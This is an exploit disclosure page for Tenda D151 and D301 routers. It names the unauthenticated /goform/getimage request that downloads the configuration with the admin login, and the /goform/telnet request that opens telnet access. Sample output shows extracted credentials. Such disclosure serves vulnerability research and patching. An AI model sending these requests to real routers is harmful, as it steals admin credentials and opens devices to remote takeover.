Tenda D151 D301 exploit (Proof of Concept)

Exploit Title: Tenda D151 & D301 - Unauthenticated configuration download (login included)

• Exploit Author: BenChaliah

• Vendor Homepage: https://www.tendacn.com

• Software Link: https://www.tendacn.com/us/download/detail-3331.html

• Versions:

  • D301 1.2.11.2_EN
  • D301 V2.0 50.22.1.8_EN
  • D151 V2.0 50.21.1.5_EN

• Exploit-DB : https://www.exploit-db.com/exploits/49782

Description

This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage, you can also activate telnet service by requesting /goform/telnet (the service is already on by default, but this will execute an iptable command allowing access).

⚠️ Telnet activation issue exists in many other tenda devices too.

The configuration exists in the last part of the downloaded firmware image.

Usage (Python 2.7):

$ python exploit.py 192.168.1.1
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -- By BenCh@li@h
|   D _]/\ \  -- github.com/BenChaliah
 \___/ / /\ \
      (_ )( _)
          

[!] Downloading config
	username: admin
	password: testpass